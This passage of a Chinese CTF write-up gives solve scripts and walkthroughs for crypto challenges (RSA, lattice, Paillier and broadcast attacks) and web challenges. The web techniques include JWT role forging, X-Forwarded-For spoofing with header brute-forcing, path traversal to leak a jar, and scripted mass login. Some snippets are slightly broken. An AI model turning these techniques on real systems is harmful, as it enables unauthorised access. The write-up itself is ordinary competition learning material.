elif not TARGET_CIPHERTEXT or len(TARGET_CIPHERTEXT) != 40: # <-- 检查长度为 40 字节
print(f"错误:请提供 TARGET_CIPHERTEXT 的 **完整的 40 字节** 数据,需从 SO 文件中提取。")
print(f"(当前提供的长度为 {len(TARGET_CIPHERTEXT)})")
else:
print("占位符数据似乎已提供。尝试解密...")
rc4_key_material = b"DoNotHackMe"
S_box_for_73040 = rc4_ksa(rc4_key_material)
KEY_QWORD_73040 = rc4_prga_sub_293E0(list(S_box_for_73040), UNK_10170)
S_box_for_73050 = rc4_ksa(rc4_key_material)
KEY_QWORD_73050 = rc4_prga_sub_293E0(list(S_box_for_73050), UNK_10180)
print(f"派生出的加密密钥 (qword_73040): {KEY_QWORD_73040.hex()}")
print(f"派生出的 IV (qword_73050): {KEY_QWORD_73050.hex()}")
print(f"目标密文 (40字节): {TARGET_CIPHERTEXT.hex()}")
decrypted_padded_plaintext = cbc_decrypt(TARGET_CIPHERTEXT, KEY_QWORD_73040, KEY_QWORD_73050)
plaintext = decrypted_padded_plaintext.rstrip(b'\x00')
print(f"\n解密后的填充明文 (40 字节): {decrypted_padded_plaintext.hex()}") # <-- 输出提示长度为 40
try:
flag = plaintext.decode('utf-8')
print(f"恢复的 Flag (解码为 UTF-8): {flag}")
except UnicodeDecodeError:
print(f"无法将恢复的明文解码为 UTF-8。")
print(f"恢复的明文字节 (十六进制): {plaintext.hex()}")
except Exception as e:
print(f"在最终处理过程中发生未知错误: {e}")
# palu{thiS_T1Me_it_seeM5_tO_8e_ReAl_te@}Game | Soap
迷宫,bfs求解最短路径

但这道题明显多解,我最开始写的那个代码死活不对。。
然后叫ai给我出了一个全解代码(一开始是128个答案,但题目后面给的hint把范围缩小到64个了)
import collections
import itertools
import hashlib
# Keep the original BFS to get distances, but modify it slightly or create a new one
# to just compute the distance grid efficiently.
def bfs_get_dist_grid(grid, start):
""" 使用 BFS 计算从 start 到所有可达点的最短距离,并返回距离网格。 """rows = len(grid)
cols = len(grid[0])
dist = [[float('inf') for _ in range(cols)] for _ in range(rows)] # 使用 inf 表示不可达或未访问
queue = collections.deque([(start[0], start[1])]) # (row, col)
dist[start[0]][start[1]] = 0
dr = [-1, 1, 0, 0] # 方向:上, 下, 左, 右
dc = [0, 0, -1, 1]
# 可行走的字符集合 (保持与之前一致)
walkable_chars = {'0', ' ', 'X', 'Y'}
while queue:
r, c = queue.popleft()
for i in range(4):
nr, nc = r + dr[i], c + dc[i]
if 0 <= nr < rows and 0 <= nc < cols and grid[nr][nc] != '#' and dist[nr][nc] == float('inf'):
dist[nr][nc] = dist[r][c] + 1
queue.append((nr, nc))
return dist # 返回完整的距离网格
def get_all_shortest_paths(grid, start, end, dist_grid):
""" 给定距离网格,递归回溯从 start 到 end 的所有最短路径。 """if dist_grid[end[0]][end[1]] == float('inf'):
return [] # 如果终点不可达
all_paths = []
# 递归回溯函数
def collect_paths(current_node, path_so_far):
r, c = current_node
if (r, c) == start:
all_paths.append(list(reversed(path_so_far + [current_node]))) # 到达起点,添加完整路径 (反转)
return
# 探索邻居,只回溯到距离小 1 的邻居 (即在最短路径上)
dr = [-1, 1, 0, 0]
dc = [0, 0, -1, 1]
for i in range(4):
pr, pc = r + dr[i], c + dc[i] # Parent row/col
# 检查边界
if 0 <= pr < len(grid) and 0 <= pc < len(grid[0]):
# 确保是从距离小 1 的点过来的
if dist_grid[r][c] == dist_grid[pr][pc] + 1:
# 检查这个点不是障碍
if grid[pr][pc] != '#':
collect_paths((pr, pc), path_so_far + [current_node]) # 递归回溯
# 从终点开始回溯
collect_paths(end, [])
return all_paths # 返回所有找到的最短路径坐标列表
def coords_to_wasd(path_coords_list):
""" 将坐标路径列表转换为 WASD 字符串。 (与之前相同) """wasd_string = ""
for i in range(len(path_coords_list) - 1):
r1, c1 = path_coords_list[i]
r2, c2 = path_coords_list[i+1]
dr = r2 - r1
dc = c2 - c1
if dr == 1:
wasd_string += 'S' # 向下
elif dr == -1:
wasd_string += 'W' # 向上
elif dc == 1:
wasd_string += 'D' # 向右
elif dc == -1:
wasd_string += 'A' # 向左
return wasd_string
# 您提供的已经替换空格的迷宫地图字符串
maze_string_0_filled = """
##############################0#
#Y#0000000000000000000#0000000X
#0#0#############0###0#0###0##0#
#0#000#000000000#0#000#000#000##
#0#####0#######0###0#0###0###0##
#000#000#00000#0#000#000#0#000##
###0#0###0#####0#0#######0#0####
#0#000#0#00000#0#00000#000#000##
#0#####0#0###0#0#0###0#0#####0##
#000000000#000#0#000#0000000#0##
#0#########0#0#0#############0##
#000#0#00000#0#000#00000000000##
###0#0#0#########0#0#########0##
#0#0#0#00000000000#0#0000000#0##
#0#0#0#############0#0#####0#0##
#000#0000000#0000000#0#000#000##
0X0##0###0###0#0#####0#0########
#000#000#00000#000#0#0#000#000##
###0###0#########0#0#0#0#0#0#0##
#0#0#000#000#000#0#0#0#0#0#0#0##
#0#0###0#0#0#0#0#0#0#0###0#0#0##
#0#000#0#0#000#000#000#000#0#0##
#0###0###0###########0#0#0#0#0##
#000#000#00000000000#0#0#0#0#0##
#0#####0#0#########0#0#0###0#0##
#000#000#000#0000000#0#0#000#0##
###0#0#######0#######0#0#0###0##
#000#000#000#0#00000#0#000#000##
#0#####0#0#0#0#0#####0#####0#0##
#000000000#000#0000000000000#00#
0X0############0X0###########0X
#0##############0#############0#
"""
# --- 解析迷宫字符串到网格 ---
lines = maze_string_0_filled.strip().split('\n')
grid = []
expected_cols = 32
for i, line in enumerate(lines):
if len(line) < expected_cols:
processed_line = line.ljust(expected_cols, '0')
elif len(line) > expected_cols:
processed_line = line[:expected_cols]
else:
processed_line = line
grid.append(list(processed_line))
rows = len(grid)
cols = len(grid[0]) if grid else 0
print(f"解析后的迷宫尺寸: {rows}x{cols}")
# 在网格中找到起始点 'Y' 和所有出口 'X' 的坐标
start_coord = None
exit_coords = []
for r in range(rows):
for c in range(cols):
if grid[r][c] == 'Y':
start_coord = (r, c)
elif grid[r][c] == 'X':
exit_coords.append((r, c))
print(f"在地图中找到的起始点 Y: {start_coord}")
print(f"在地图中找到的出口点 X: {exit_coords} (共 {len(exit_coords)} 个)")
# 在继续之前,验证是否找到一个 Y 和 5 个 X
if start_coord is None:
print("\n错误:未在地图中找到起始点 Y。")
elif len(exit_coords) != 5:
print(f"\n错误:在地图中找到的出口数量不为 5 个,而是 {len(exit_coords)} 个。无法进行计算。")
else:
print("\n成功在地图中找到所有关键点 (1个 Y, 5个 X)。正在计算关键点之间的最短路径距离...")
# 预先计算所有关键点对之间的最短距离
points = [start_coord] + exit_coords
dist_data = {} # 存储 ((p1_r, p1_c), (p2_r, p2_c)): distance
# 为了获取所有路径,我们需要从每个起点运行 BFS 来获取距离网格
# 存储从每个关键点出发的距离网格
dist_grids = {}
for p in points:
dist_grids[p] = bfs_get_dist_grid(grid, p)
# 填充 dist_data 使用计算好的距离网格
for i in range(len(points)):
for j in range(i + 1, len(points)):
p1 = points[i]
p2 = points[j]
# 从 p1 出发的距离网格中查找 p2 的距离
dist = dist_grids[p1][p2[0]][p2[1]]
if dist != float('inf'):
dist_data[(p1, p2)] = dist
dist_data[(p2, p1)] = dist # 距离是双向的
# 找到访问所有出口的最短总路径 (从 Y 开始,遍历所有 X)
min_total_dist = float('inf')
optimal_permutations = [] # 存储所有达到最小距离的出口访问顺序
print("\n正在查找访问所有出口的最短总距离...")
for perm in itertools.permutations(exit_coords):
current_total_dist = 0
current_point = start_coord
valid_permutation = True
# 计算当前排列顺序的总距离
for next_point in perm:
pair = (current_point, next_point)
if pair not in dist_data:
valid_permutation = False
break # 某段不可达
current_total_dist += dist_data[pair]
current_point = next_point
if valid_permutation:
if current_total_dist < min_total_dist:
min_total_dist = current_total_dist
optimal_permutations = [perm] # 找到更短的,清空并记录新的
elif current_total_dist == min_total_dist:
optimal_permutations.append(perm) # 找到同样短的,添加记录
print(f"\n计算出的访问所有出口的最短总路径距离 (从 Y 开始): {min_total_dist} 步。")
print(f"提示的最短路径距离: 290 步。")
if min_total_dist == 290:
print("计算结果与提示相符!正在生成所有最短路径的 WASD 序列...")
all_shortest_wasd_paths = set() # 使用集合存储唯一的 WASD 序列 (大写)
# 现在为每个达到最短总距离的排列组合生成所有可能的路径
for opt_perm in optimal_permutations:
segment_paths_lists = [] # 存储每个路径段的所有最短路径列表
current_point = start_coord
# 对于排列中的每个段 (Y -> X1, X1 -> X2, ...)
for next_point in opt_perm:
# 从当前点的距离网格中获取该段的所有最短路径
segment_dist_grid = dist_grids[current_point]
# 调用新的函数获取所有路径
all_segment_paths = get_all_shortest_paths(grid, current_point, next_point, segment_dist_grid)
if not all_segment_paths:
segment_paths_lists = []
break
segment_paths_lists.append(all_segment_paths)
current_point = next_point
if segment_paths_lists:
# 使用 itertools.product 组合所有路径段的所有可能组合
for path_combination in itertools.product(*segment_paths_lists):
combined_path_coords = []
for i, segment_path in enumerate(path_combination):
if i == 0:
combined_path_coords.extend(segment_path)
else:
combined_path_coords.extend(segment_path[1:])
wasd_path = coords_to_wasd(combined_path_coords) # 生成大写 WASD 路径
all_shortest_wasd_paths.add(wasd_path)
# --- 筛选路径 (最后四步 SS DS), 转小写, 计算 MD5 ---
filtered_md5s = []
filter_suffix_uppercase = "SSDS" # 筛选条件 (大写)
print(f"\n过滤路径:寻找最后四步为 '{filter_suffix_uppercase}' 的路径...")
# 遍历所有找到的最短路径 (大写)
for wasd_path_uppercase in all_shortest_wasd_paths:
# 检查路径是否足够长且以指定的后缀结束
if len(wasd_path_uppercase) >= len(filter_suffix_uppercase) and wasd_path_uppercase.endswith(filter_suffix_uppercase):
# 将符合条件的路径转为小写
wasd_path_lowercase = wasd_path_uppercase.lower()
# 计算小写路径的 MD5 哈希值
md5_hash = hashlib.md5(wasd_path_lowercase.encode('utf-8')).hexdigest()
filtered_md5s.append(md5_hash)
# 排序筛选后的哈希值以便输出顺序稳定
sorted_filtered_md5s = sorted(filtered_md5s)
print(f"\n共找到 {len(sorted_filtered_md5s)} 条长度为 {min_total_dist} 且最后四步为 '{filter_suffix_uppercase}' 的唯一最短路径。")
print("这些路径(转为小写后)的 MD5 哈希值如下:")
for i, md5_hash in enumerate(sorted_filtered_md5s):
print(f"Filtered Path {i+1} MD5: {md5_hash}")
print("\n对应的达到最短总距离的出口访问顺序 (从 Y 出发) 可能有:")
point_names = {start_coord: 'Y'}
for i, coord in enumerate(exit_coords):
point_names[coord] = f'X{i+1}'
for i, opt_perm in enumerate(optimal_permutations):
path_points_sequence = [start_coord] + list(opt_perm)
print(f"顺序 {i+1}: " + " -> ".join([f"{point_names.get(c, str(c))}{c}" for c in path_points_sequence]))
else:
print("计算结果与提示不符,请检查地图、坐标或算法实现。")
print("\n未能找到访问所有出口的有效路径或最短距离不为290。")爆出来的答案一个个试,试到第41个对了

palu{990fd7773f450f1f13bf08a367fe95ea}
Crypto
循环锁链 | Sean
还好最后出了,不然我要骂人了,虽然挺好想,但是要是一下没对上脑电波绕进去了,那就挺难受了
原理不用细说,看代码就懂了
cipher = open("flag.enc", "rb").read()
for index in range(len(cipher)):
flag = []
for i in range(len(cipher)):
key = ord("p")^cipher[index]
if i == 0:
ch = cipher[index+0] ^ key
else:
ch = cipher[(index+i)%len(cipher)] ^ flag[-1]
flag.append(ch)
print(f'{index:4} {"".join([chr(i) for i in flag])}')
RSA_Quartic_Quandary | Sean
签到题,不用说
from Crypto.Util.number import long_to_bytes
n = 125997816345753096048865891139073286898143461169514858050232837657906289840897974068391106608902082960171083817785532702158298589600947834699494234633846206712414663927142998976208173208829799860130354978308649020815886262453865196867390105038666506017720712272359417586671917060323891124382072599746305448903
e = 65537
c = 16076213508704830809521504161524867240789661063230251272973700316524961511842110066547743812160813341691286895800830395413052502516451815705610447484880112548934311914559776633140762863945819054432492392315491109745915225117227073045171062365772401296382778452901831550773993089344837645958797206220200272941
s = 35935569267272146368441512592153486419244649035623643902985220815940198358146024590300394059909370115858091217597774010493938674472746828352595432824315405933241792789402041405932624651226442192749572918686958461029988244396875361295785103356745756304497466567342796329331150560777052588294638069488836419744297241409127729615544668547101580333420563318486256358906310909703237944327684178950282413703357020770127158209107658407007489563388980582632159120621869165333921661377997970334407786581024278698231418756106787058054355713472306409772260619117725561889350862414726861327985706773512963177174611689685575805282
tmp = s + 2*n**2
tmp = tmp.nth_root(2)
tmp += 2*n
tmp = tmp.nth_root(2)
R.<x> = PolynomialRing(ZZ)
f = tmp*x-x^2-n
res = f.roots()
p = res[0][0]
print(p)
assert n%p == 0
q = n//p
d = pow(e, -1, (p-1)*(q-1))
m = pow(c, d, n)
print(long_to_bytes(int(m)))
# palu{This_is_a_fake_flag_change_it_for_real_use}易如反掌 | Sean
(唉唉,确实易如反掌,很签到,只不过我忘了绝对值了,有点被硬控。
其实看到题目大概就能想到是类似维纳攻击那种,但是维纳攻击只有一对n和e,而这里给出了4对。其实如果知道的话就很容易想到,维纳攻击的格攻击方法,然后很容易把四对n和e放到一个格里面
还要注意一点是,这里的phi不是欧拉函数,但是吧原理上大差不差
import hashlib
Ns = [23796646026878116589547283793150995927866567938335548416869023482791889761195291718895745055959853934513618760888513821480917766191633897946306199721200583177442944168533218236080466338723721813833112934172813408785753690869328477108925253250272864647989241887047368829689684698870160049332949549671046125158024445929082758264311584669347802324514633164611600348485747482925940752960745308927584754759033237553398957651216385369140164712159020014009858771182426893515016507774993840721603911101735647966838456333878426803669855790758035721418868768618171692143354466457771363078719423863861881209003100274869680348729, 19552522218179875003847447592795537408210008360038264050591506858077823059915495579150792312404199675077331435544143983146080988327453540449160493126531689234464110427289951139790715136775261122038034076109559997394039408007831367922647325571759843192843854522333120187643778356206039403073606561618190519937691323868253954852564110558105862497499849080112804340364976236598384571278659796189204447521325485338769935361453819608921520780103184296098278610439625935404967972315908808657494638735904210709873823527111315139018387713381604550946445856087746716671838144925662314348628830687634437271225081272705532826343, 20588310030910623387356293638800302031856407530120841616298227518984893505166480372963166394317326422544430837759332223527939420321960057410073228508230111170414845403161052128790464277007579491219950440477721075788978767309211469555824310913593208232853272958011299985202799390532181335087622499894389777412111445377637396650710486263652440053717323053536700098339137819966260269752816515681602936416736576044630343136577023173210517247609888936337876211461528203642347119434700140264859102502126842250671976238033270367185358966766106988830596616311824691409766437473419074865115209866730272194297815209976737570183, 18468380817178794606027384089796802449939260582378979728469492439450780893746976934315768186829245395964644992296264093276556001477514083927556578752836255491334765496791841945178275793885002188397918857222419803612711637177559554489679414049308077300718317502586411333302434329130562745942681716547306138457088216901181646333860559988117376012816579422902808478175975263110581667936249474308868051767856694498210084853797453949193117835061402537058150493808371384063278793041752943930928932275052745657700368980150842377283198946138726219378646040515809994704174471793592322237777371900834531014326150160506449286179]
Es = [229904181453273080302209653709086531153804577507365859149808244958841045687064628362978517491609413507875726243121473678430010600891588643092042173698830147997497783886459583186019270582236955524620567373560535686287255124958954671737097645556109314142383275516997850786599322033792080045303427363366927030304214333894247469120513426641296678531965795930756543043851154646310114366477311633838078242963665452936523438928643273392454483600446242320078010627755587492056369779661382734170244060951095344418599686788550312205964136120979823565225768814898285224838691541122088693411388097496320157113230752327025862802020421665288007529320920942060329299409362236414929126050037144149017275031336018100081931062647888329912802477032857776085190828105602067426203163344931483638271679183910241511044338001446584634203146294743522375846913845041274967653508735863706778364499099286484552570083394223973734909997825522191349543295855925973354640349809770822075226834555111927586299176453943116511915434890643239957459427390624136283086434711471863737451011157026905191204496081860277138227247744470804087252965368757930797560277881668806206419629425126031049566579233056222579590529869798537893505779097868221221068867624660759084762471141, 374749619911728044650812367560174497001343067563440477135516664935394734686391543012901514676044211541958613458868769659861216149364768233000844624035620893309356372294598009760824255187442531508754966566917198975934706398309982525100772311586501118200858124845012643495006029930202324305874402291277845166060497038915773767003006049720519011634861166208163030159519901867416488082395270295488885724507937683469910251316231210838654273986152493722244271430422693265608430755620420680629979226285393465423870727975987787149515374769359243334743541460110042872587610309611770320600248289328406805995688596910226273861759369388105641549933915686192055533242723330981192183310876306968103333706140401422550917946410378174896274789619184565321544130428008804628699594759946577979319393247067750024729672029363433673084437510430506410293512293930056667971242862448029841846596288648691077795207341975907335202945548990662460491169957175452745622341245617265849042542964819126377775749222973138584978725470886059043251544634105653274564085280013340679259157119014619894553239015777411757887293044706448625760604242512494466386343040583010961386979963779928616733980046763291988848903515836247301007113187121999960487508948748354549628160741, 111738429639840672983162926852338651562094139707285850255632987705635459657893186493838711733560515475806567653354737245246745810892238414756414117557971683747269900627524702653772058841085258035513296218047505149691384287812041721130367506731427022265277885965948486359682023555050085264531256406043361391744086539522028829421284667293339869140564699750714145488199268791908205712660933607330454849730499840287271163350865799682565216636393526339218836244889719975150503253630419647851422620890082315396457329065508602521784001607236788620811397449483104884860551374031790663030220424841642241965983726516537123807061999084476076850833658360594525986997125319941689903869138176347916707622148840226672408554102717625456819726220575710494929111642866840516339713870850732638906870325693572445316904688582043485093120585767903009745325497085286577015692005747499504730575062998090846463157669448943725039951120963375521054164657547731579771203443617489609201617736584055562887243883898406182052632245189418568410854530995044542628531851356363297989653392057214167031332353949367816700838296651167799441279086074308299608106786918676697564002641234952760724731325383088682051108589283162705846714876543662335188222683115878319143239781, 185935167438248768027713217055147583431480103445262049361952417166499278728434926508937684304985810617277398880507451351333771783039360671467147075085417403764439214700549777320094501151755362122677245586884124615115132430034242191429064710012407308619977881929109092467325180864745257810774684549914888829203014922855369708286801194645263982661023515570231007900615244109762444081806466412714045462184361892356485713147687194230341085490571821445962465385514845915484336766973332384198790601633964078447446832581798146300515184339036127604597014458389481920870330726947546808739829589808006774479656385317205167932706748974482578749055876192429032258189528408353619365693624106394913101463023497175917598944803733849984703912670992613579847331081015979121834040110652608301633876167262248103403520536210279949844194696898862249482809107840303473964914083996538912970715834110371196970613332286296427286356036576876121010776933023901744994067564045429384172315640135483480089769992730928266885675143187679290648773060781987273082229827156531141515679114580622348238382074084270808291251400949744720804368426414308355267344210055608246286737478682527960260877955900464059404976906697164610891962198768354924180929300959036213841843941]
ge = [[0]*5 for _ in range(5)]
for i in range(4):
ge[i][i] = Ns[i]**2
ge[-1][i] = Es[i]
K = Ns[0]
ge[-1][-1] = K
Ge = Matrix(ZZ, ge)
L = Ge.LLL()
if L[0,-1] % K == 0:
d = abs(L[0,-1] // K)
flag = "palu{" + hashlib.md5(str(d).encode()).hexdigest() + "}"
print(int(d).bit_length())
print(d.is_prime())
print(flag)
# palu{b1fc01a38bae760451bcffe777e51b1d}欧几里得 | Pure
Paillier密码系统的加法同态性质
已知是palu开头
EXP:
from Crypto.Util.number import long_to_bytes
c = 1426774899479339414711783875769670405758108494041927642533743607154735397076811133205075799614352194241060726689487117802867974494099614371033282640015883625484033889861
# 计算S的值
r = 65536 # 256^2
n = 35
S = (pow(r, n) - 1) // (r - 1)
# 枚举所有可能的k值(两字节,0到65535)for k in range(0, 65536):
m2 = k * S
m1 = c - m2
# 将m1转换为字节
bytes_val = long_to_bytes(m1)
# 检查是否以b'palu'开头if bytes_val.startswith(b'palu'):
print(f"Found k = {k}")
print("Flag:", bytes_val.decode())
break
#palu{48b635a7a2474ef743e333478b67a2f5}星际广播站 | Pure & Sean
const loginForm = document.querySelector('form[action="/login"]');
if (loginForm) {
loginForm.addEventListener('submit', asyncfunction(event) {
event.preventDefault();
const passwordInput = document.getElementById('password');
const password = passwordInput.value;
const hiddenPasswordInput = document.createElement('input');
hiddenPasswordInput.type= 'hidden';
hiddenPasswordInput.name= 'password_hash';
hiddenPasswordInput.value= password;
loginForm.appendChild(hiddenPasswordInput);
passwordInput.removeAttribute('name');
loginForm.submit();
});
}
functiondownloadAppFile(filename) {
const iframe = document.createElement('iframe');
iframe.style.display= 'none';
document.body.appendChild(iframe);
const downloadUrl = `/file/download?path=${encodeURIComponent(filename)}`;
iframe.src= downloadUrl;
setTimeout(() => {
document.body.removeChild(iframe);
}, 2000);
}先看前端源码,发现除了验证登录之外还可以进行文件下载,那我们直接控制台调用downloadAppFile(‘app.py’);(因为是由python写的所以猜测app.py),成功得到源码
源码中有一段很有意思:
# 修改数据库路径
# Ensure this line points to the data directory
DATABASE = 'data/users.db'
E = getPrime(7)
NUM_USERS = 128把数据库路径给了,而且看
username = request.form['username']
password_hash_attempt = sm3_hash(request.form['password_hash'])感觉密码是要和数据库那边验证的一样,所以尝试下载数据库,同样是调用downloadAppFile(‘data/users.db’);,下载成功
得到了网页源码和数据库,数据库中存了每个账号对应的n
翻看源码能发现密码是用用户名作为随机数种子生成的随机密码,找到POST两个参数名username和password_hash。有128个用户,所以用脚本批量获取用户对应的c(这里发现c是由span元素包裹的data-value类下,于是就直接查找这个类读取c),然后再从数据库中读取n。
用广播攻击,解出m
import random
import requests
import string
import sqlite3
from bs4 import BeautifulSoup
from Crypto.Util.number import *
import gmpy2
PORT = XXXX
ADDR = f"http://challenge.qsnctf.com:{}"
conn = sqlite3.connect('users.db')
cursor = conn.cursor()
ns = []
cs = []
for username in range(1,128+1):
cursor.execute("SELECT n FROM users WHERE username = ?", (username,))
result = cursor.fetchone()
assert result is not None
ns += [int(result[0])]
def get_c(username):
global cs
random.seed(str(username))
password = "".join(random.choices(string.ascii_letters + string.digits, k=6))
response = requests.post(ADDR + "/login", data={"username": username, "password_hash": password})
# print(response.text)
soup = BeautifulSoup(response.text, 'html.parser')
c = soup.find('span', class_='data-value')
cs += [int(c.text)]
for i in range(1, 128+1):
get_c(i)
N = 1
for n in ns:
N*=n
M_list=[]
for n in ns:
M_list.append(N//n)
t_list=[]
i=1
for i in range (len(ns)):
t_list.append(pow(M_list[i],-1,ns[i]))
summary = 0
for i in range(len(ns)):
summary=(summary+cs[i]*t_list[i]*M_list[i])%N
m = gmpy2.iroot(summary,127)[0]
print(long_to_bytes(m))
# palu{1f7f57ad216340b1a99f48359dcac478}轮回密码 | Sean
最后应该是看一直没人做出来,把key放出来了,那么就很简单了
import base64
def samsara_decrypt(cipher, key_word):
phase1 = bytes([cipher[i] ^ key_word[i % len(key_word)] for i in range(len(cipher))])
cycle_step = len(key_word) % 6 + 1
phase2 = bytes([(c >> (8 - cycle_step)) | ((c << cycle_step) & 0xFF) for c in phase1])
phase3 = base64.b85decode(phase2)
return bytes([(c >> (8 - cycle_step)) | ((c << cycle_step) & 0xFF) for c in phase3])
if __name__ == "__main__":
c = "y¦_6>X¬y!,!n¡mSaÜñüë9¼6".encode("latin-1")
key = b"Bore"
plain = samsara_decrypt(c, key)
print(plain)
Web
CatBank | Pure
注册2-3个账号,发现能转钱到负数,就直接转给另一个号一百万即可

当时好像要刚好才行,之前超了几分钱就没回显

CatNet | Pure
先扫目录:

尝试访问,发现需要本地IP才可以进入,那么直接抓包XFF:

然后看到:
function getFlag() {
fetch('/admin/flag', {
headers: {
'X-Internal-Auth': 'cateye-internal-000'
}
}就直接在添加一条X-Internal-Auth: cateye-internal-xxx
然后爆破这个三位数即可

猫猫的秘密 | Pure
document.getElementById('getSecretBtn').addEventListener('click', async () => {
try {
const response = await fetch('/get_secret', {
method: 'GET',
headers: {
'Authorization': token
}
});
const data = await response.json();
if (response.ok) {
let resultText = `${data.message}\n\n`;
if (data.public) {
resultText += `${data.public}\n\n`;
}
if (data.confidential) {
resultText += `猫猫信息: ${data.confidential}\n\n`;
}
if (data.flag) {
resultText += `Flag: ${data.flag}`;
}
document.getElementById('secretResult').textContent = resultText;
} else {
document.getElementById('secretResult').textContent = `错误: ${data.error}`;
}
document.getElementById('secretResult').classList.remove('hidden');
} catch (error) {
document.getElementById('secretResult').textContent = `发生错误: ${error.message}`;
document.getElementById('secretResult').classList.remove('hidden');
}
});
document.getElementById('logoutBtn').addEventListener('click', () => {
token = '';
document.getElementById('username').value = '';
document.getElementById('password').value = '';
document.getElementById('loginResult').classList.add('hidden');
document.getElementById('secretResult').classList.add('hidden');
document.getElementById('secretSection').classList.add('hidden');
document.getElementById('loginSection').classList.remove('hidden');
});
看到前端源码,应该是要个token然后访问/get_secret,然后认证通过了就可以
然后看到是要添加一个Authorization,然后后面跟token
反正只会JWT,拦截的时候又没给cookie,就尝试构造JWT

喵喵喵?,你想看什么捏。发现有回显,那看来就是JWT了,但是看下面这几段:
document.getElementById('loginResult').classList.add('hidden');
document.getElementById('secretResult').classList.add('hidden');
document.getElementById('secretSection').classList.add('hidden');
document.getElementById('loginSection').classList.remove('hidden');总感觉还缺一段验证,想到可能是要admin验证,一开始尝试换username没有成功,就尝试加了个role:admin,然后就结束了…..

palu{0b503f28af6f4d7987e832174284cb40}
Ezblog | Pure
首先下载源码,看到:
@Mapping("/backdoor")
publicStringbackdoor(@Param("key") String key) {
if ("********".equals(key)) {
Stringflag=System.getenv("FLAG");
return "flag is " + flag;
} else {
return "you are god";
}
}有个后门,要求backdoor?key=,里面需要符合给的值就可以得出flag,但这里没给,接着看
@SolonMainpublicclass App {
publicstaticvoidmain(String[] args) {
Solon.start(App.class, args, (app) -> {
StaticMappings.add("/assets/", newFileStaticRepository("/app/assets"));
});
}
}这里给了个静态的目录,结合题目所给的/app,可以尝试访问assets/../app.jar,但是发现我的浏览器都访问不了,但是Bp里面有反应,但是是乱码,然后导出到内嵌浏览器查看:

又是源码,打开发现key值出现,直接访问即可

palu{91ffcbb02e904b699cf3639af74ad2af}
